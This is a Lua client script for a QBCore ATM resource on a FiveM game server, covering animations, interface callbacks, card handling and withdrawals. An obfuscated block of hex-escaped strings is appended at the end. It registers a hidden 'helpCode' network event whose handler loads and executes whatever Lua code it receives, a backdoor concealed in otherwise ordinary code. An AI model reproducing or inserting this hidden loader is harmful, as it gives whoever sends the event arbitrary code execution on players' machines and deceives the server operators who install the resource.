local QBCore = exports['qb-core']:GetCoreObject()

-- Functions

local function PlayATMAnimation(animation)
    local playerPed = PlayerPedId()
    if animation == 'enter' then
        RequestAnimDict('amb@prop_human_atm@male@enter')
        while not HasAnimDictLoaded('amb@prop_human_atm@male@enter') do
            Wait(0)
        end
        TaskPlayAnim(playerPed, 'amb@prop_human_atm@male@enter', "enter", 1.0,-1.0, 3000, 1, 1, true, true, true)
    end

    if animation == 'exit' then
        RequestAnimDict('amb@prop_human_atm@male@exit')
        while not HasAnimDictLoaded('amb@prop_human_atm@male@exit') do
            Wait(0)
        end
        TaskPlayAnim(playerPed, 'amb@prop_human_atm@male@exit', "exit", 1.0,-1.0, 3000, 1, 1, true, true, true)
    end
end

-- Events

RegisterNetEvent("hidemenu", function()
    SetNuiFocus(false, false)
    SendNUIMessage({
        status = "closeATM"
    })
end)

RegisterNetEvent('qb-atms:client:updateBankInformation', function(banking)
    SendNUIMessage({
        status = "loadBankAccount",
        information = banking
    })
end)

-- qb-target
if Config.UseTarget then
    CreateThread(function()
        exports['qb-target']:AddTargetModel(Config.ATMModels, {
            options = {
                {
                    event = 'qb-atms:server:enteratm',
                    type = 'server',
                    icon = "fas fa-credit-card",
                    label = "Use ATM",
                },
            },
            distance = 1.5,
        })
    end)
end

RegisterNetEvent('qb-atms:client:loadATM', function(cards)
    if cards and cards[1] then
        local playerPed = PlayerPedId()
        local playerCoords = GetEntityCoords(playerPed, true)
        for _, v in pairs(Config.ATMModels) do
            local hash = joaat(v)
            local atm = IsObjectNearPoint(hash, playerCoords.x, playerCoords.y, playerCoords.z, 1.5)
            if atm then
                PlayATMAnimation('enter')
                QBCore.Functions.Progressbar("accessing_atm", "Accessing ATM", 1500, false, true, {
                    disableMovement = false,
                    disableCarMovement = false,
                    disableMouse = false,
                    disableCombat = false,
                }, {}, {}, {}, function() -- Done
                    SetNuiFocus(true, true)
                    SendNUIMessage({
                        status = "openATMFrontScreen",
                        cards = cards,
                    })
                end, function()
                    QBCore.Functions.Notify("Failed!", "error")
                end)
            end
        end
    else
        QBCore.Functions.Notify("Please visit a branch to order a card", "error")
    end
end)

-- Callbacks

RegisterNUICallback("NUIFocusOff", function()
    SetNuiFocus(false, false)
    SendNUIMessage({
        status = "closeATM"
    })
    PlayATMAnimation('exit')
end)

RegisterNUICallback("playATMAnim", function()
    local anim = 'amb@prop_human_atm@male@idle_a'
    RequestAnimDict(anim)
    while not HasAnimDictLoaded(anim) do
        Wait(0)
    end
    TaskPlayAnim(PlayerPedId(), anim, "idle_a", 1.0,-1.0, 3000, 1, 1, true, true, true)
end)

RegisterNUICallback("doATMWithdraw", function(data)
    if data then
        TriggerServerEvent('qb-atms:server:doAccountWithdraw', data)
    end
end)

RegisterNUICallback("loadBankingAccount", function(data)
    QBCore.Functions.TriggerCallback('qb-atms:server:loadBankAccount', function(banking)
        if banking and type(banking) == "table" then
            SendNUIMessage({
                status = "loadBankAccount",
                information = banking
            })
        else
            SetNuiFocus(false, false)
            SendNUIMessage({
                status = "closeATM"
            })
        end
    end, data.cid, data.cardnumber)
end)

RegisterNUICallback("removeCard", function(data)
    QBCore.Functions.TriggerCallback('qb-debitcard:server:deleteCard', function(hasDeleted)
        if hasDeleted then
            SetNuiFocus(false, false)
            SendNUIMessage({
                status = "closeATM"
            })
            QBCore.Functions.Notify('Card has been deleted.', 'success')
        else
            QBCore.Functions.Notify('Failed to delete card.', 'error')
        end
    end, data)
end)


local UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[6][UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[1]](UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[2]) UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[6][UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[3]](UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[2], function(veXtydEHXtoGYItWbIBZROBorVsqcJmyAKEKhWhwPMyaDQObfoohjZkLSKauzBaigSfULt) UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[6][UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[4]](UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[6][UZxVmIxGyHNGxMbBIoRtkGLyxaMFlYuiutmfNjUXVzqEtbDYmiUeRIfULjutXTvyqLOYCG[5]](veXtydEHXtoGYItWbIBZROBorVsqcJmyAKEKhWhwPMyaDQObfoohjZkLSKauzBaigSfULt))() end)